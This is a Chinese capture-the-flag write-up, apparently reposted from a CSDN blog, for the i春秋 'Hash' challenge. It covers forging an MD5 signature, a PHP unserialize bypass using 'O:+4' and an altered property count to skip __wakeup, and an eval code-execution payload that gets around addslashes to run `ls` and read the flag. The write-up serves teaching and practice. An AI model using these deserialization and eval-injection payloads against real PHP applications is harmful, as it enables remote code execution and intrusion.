自学内容网 自学内容网

i春秋-Hash

练习平台地址

竞赛中心

题目描述

题目内容

 啥也没有就一个标签跳转

 点击后的确发生了跳转

观察到url中有key和hash两个值,猜测hash是key的hash

 查看源代码发现确实是

 $hash=md5($sign.$key);the length of $sign is 8

解密得到$sign应该为kkkkkk01

构造122的hash

import hashlib

# 要加密的原始字符串
data = "kkkkkk01122"

# 创建MD5对象
md5_object = hashlib.md5()

# 更新要加密的数据,注意这里如果数据是字符串需要先编码成字节类型,通常使用utf-8编码
md5_object.update(data.encode('utf-8'))

# 获取十六进制表示的MD5哈希值
hash_value = md5_object.hexdigest()

print(hash_value)

e1ebb04a0a78afe23e2d542e72a25005

传值

访问Gu3ss_m3_h2h2.php

代码分析

1.the secret is in the f15g_1s_here.php,flag在这个文件中

2.通过get接收var参数,base64后进行一个正则匹配——"/[oc]:\d+:/i"是一个忽略大小写的正则表达式,用于匹配以 “o” 或 “c” 开头,接着是冒号、一个或多个数字以及再一个冒号的格式的字符串,不满足条件程序结束,满足则反序列化var参数

解题思路

1.修改file属性为f15g_1s_here.php,序列化对象
2.修改属性数目(沉默__wakeup)
3.替换‘O:4’为‘O:+4’
4.base_64编码 

脚本如下

<?php
class Demo
{
    private $file = 'f15g_1s_here.php';
}

$x = new Demo;
$c = serialize($x);
$c = str_replace('O:4','O:+4',$c);
$c = str_replace(':1:',':2:',$c);
$d = base64_encode($c);
echo ($d);

 TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==

传值

 得到f15g_1s_here.php的源码

<?php
if (isset($_GET['val'])) {
    $val = $_GET['val'];
    eval('$value="' . addslashes($val) . '";');
} else {
    die('hahaha!');
}

代码分析

通过get接收一个val参数,通过addslashes对val进行转义

存在eval函数可以命令执行,这里使用变量绕过addslashes转义

payload构造

val = ${eval(echo `ls`;)}
#ls反引号括住


val=${eval($_GET[a])}&a=echo `ls`; 

访问 f15g_1s_here.php并传参

成功执行命令

 查看flag

flag

flag{a8b481b7-8f12-44ce-8b87-bb561afc61ba}

注意事项

1.传参建议在HackBar中传,不要直接在url中编辑

2.解密不要自己编写脚本碰撞,要在somd5.com上直接查询


原文地址:https://blog.csdn.net/2301_79090248/article/details/143824266

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!